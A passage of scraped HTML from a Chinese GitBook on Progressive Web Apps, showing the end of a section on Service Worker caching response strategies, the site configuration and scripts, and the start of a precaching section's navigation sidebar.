&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x4E0B;&#x7684; Application &gt; Service Worker &#x9762;&#x677F;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x9996;&#x6B21;&#x8BBF;&#x95EE;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#xFF0C;service-worker.js &#x6587;&#x4EF6;&#x5F00;&#x59CB;&#x8FDB;&#x884C;&#x6CE8;&#x518C;&#x5E76;&#x6FC0;&#x6D3B;&#x3002;</p>\n<p><img src=\"img/respond-register-sw.png\" alt=\"&#x6CE8;&#x518C; Service Worker\"></p>\n<p>&#x6B64;&#x65F6;&#x70B9;&#x51FB;&#x5C55;&#x5F00; Cache Storage &#x9762;&#x677F;&#xFF0C;&#x5728; runtime-cache &#x8FD9;&#x4E2A;&#x7F13;&#x5B58;&#x7A7A;&#x95F4;&#x5E76;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x7F13;&#x5B58;&#x5185;&#x5BB9;&#x3002;&#x5728;&#x5237;&#x65B0;&#x9875;&#x9762;&#x5373;&#x7B2C;&#x4E8C;&#x6B21;&#x8BBF;&#x95EE;&#x9875;&#x9762;&#x4E4B;&#x540E;&#xFF0C;runtime-cache &#x7EC8;&#x4E8E;&#x6709;&#x4E86;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#xFF1A;</p>\n<p><img src=\"img/respond-demo-cache-storage.png\" alt=\"&#x7F13;&#x5B58;&#x8D44;&#x6E90;\"></p>\n<p>&#x6B64;&#x65F6;&#x65AD;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7F51;&#x7EDC;&#x94FE;&#x63A5;&#x5E76;&#x518D;&#x4E00;&#x6B21;&#x5237;&#x65B0;&#x9875;&#x9762;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5728;&#x79BB;&#x7EBF;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x9875;&#x9762;&#x4E0A;&#x7684;&#x6587;&#x7AE0;&#x5185;&#x5BB9;&#x548C;&#x5927;&#x4F53;&#x6837;&#x5F0F;&#x5747;&#x6B63;&#x5E38;&#x663E;&#x793A;&#xFF0C;&#x9605;&#x8BFB;&#x6570;&#x7684;&#x8BF7;&#x6C42;&#x7531;&#x4E8E;&#x6211;&#x4EEC;&#x6CA1;&#x6709;&#x5BF9;&#x5176;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x663E;&#x793A;&#x4E0A;&#x88AB;&#x5BB9;&#x9519;&#x663E;&#x793A;&#x6210;&#x4E86; 0&#xFF0C;&#x8FD9;&#x4E9B;&#x8868;&#x73B0;&#x5747;&#x7B26;&#x5408;&#x9884;&#x671F;&#x3002;</p>\n<p><img src=\"img/respond-demo-offline.png\" alt=\"&#x79BB;&#x7EBF;&#x8BBF;&#x95EE;\"></p>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x672C;&#x8282;&#x4E3B;&#x8981;&#x4ECB;&#x7ECD;&#x4E86;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#xFF0C;&#x4F9D;&#x6B21;&#x5206;&#x6790;&#x4E86;&#x5B83;&#x4EEC;&#x7684;&#x9002;&#x7528;&#x573A;&#x666F;&#xFF0C;&#x6700;&#x540E;&#x7ED3;&#x5408;&#x793A;&#x4F8B;&#x6F14;&#x793A;&#x4E86;&#x5728;&#x9879;&#x76EE;&#x5F53;&#x4E2D;&#x7684;&#x5B9E;&#x9645;&#x5E94;&#x7528;&#x65B9;&#x6CD5;&#x3002;&#x8FD9;&#x4E9B;&#x5E38;&#x7528;&#x7B56;&#x7565;&#x57FA;&#x672C;&#x80FD;&#x591F;&#x6EE1;&#x8DB3;&#x5927;&#x90E8;&#x5206;&#x7684; Service Worker &#x5F00;&#x53D1;&#x9700;&#x6C42;&#xFF0C;&#x4F46;&#x8FD9;&#x5E76;&#x4E0D;&#x662F;&#x5168;&#x90E8;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x5B9E;&#x9645;&#x7684;&#x9700;&#x6C42;&#xFF0C;&#x521B;&#x9020;&#x51FA;&#x5176;&#x4ED6;&#x66F4;&#x4E3A;&#x590D;&#x6742;&#x7684;&#x7B56;&#x7565;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-local-storage-management.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 5.2 本地存储管理\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-precache.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 5.4 预缓存方案\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"5.3 资源请求响应策略\",\"level\":\"1.6.3\",\"depth\":2,\"next\":{\"title\":\"5.4 预缓存方案\",\"level\":\"1.6.4\",\"depth\":2,\"path\":\"chapter05/4-precache.md\",\"ref\":\"chapter05/4-precache.md\",\"articles\":[]},\"previous\":{\"title\":\"5.2 本地存储管理\",\"level\":\"1.6.2\",\"depth\":2,\"path\":\"chapter05/2-local-storage-management.md\",\"ref\":\"chapter05/2-local-storage-management.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05/3-respond-strategy.md\",\"mtime\":\"2019-06-19T10:37:42.210Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05/4-precache.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>5.4 预缓存方案 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"5-workbox.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-respond-strategy.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"1-fetch-event-management.html\">\n            \n                <a href=\"1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"2-local-storage-management.html\">\n            \n                <a href=\"2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"3-respond-strategy.html\">\n            \n                <a href=\"3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.6.4\" data-path=\"4-precache.html\">\n            \n                <a href=\"4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"5-workbox.html\">\n            \n                <a href=\"5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            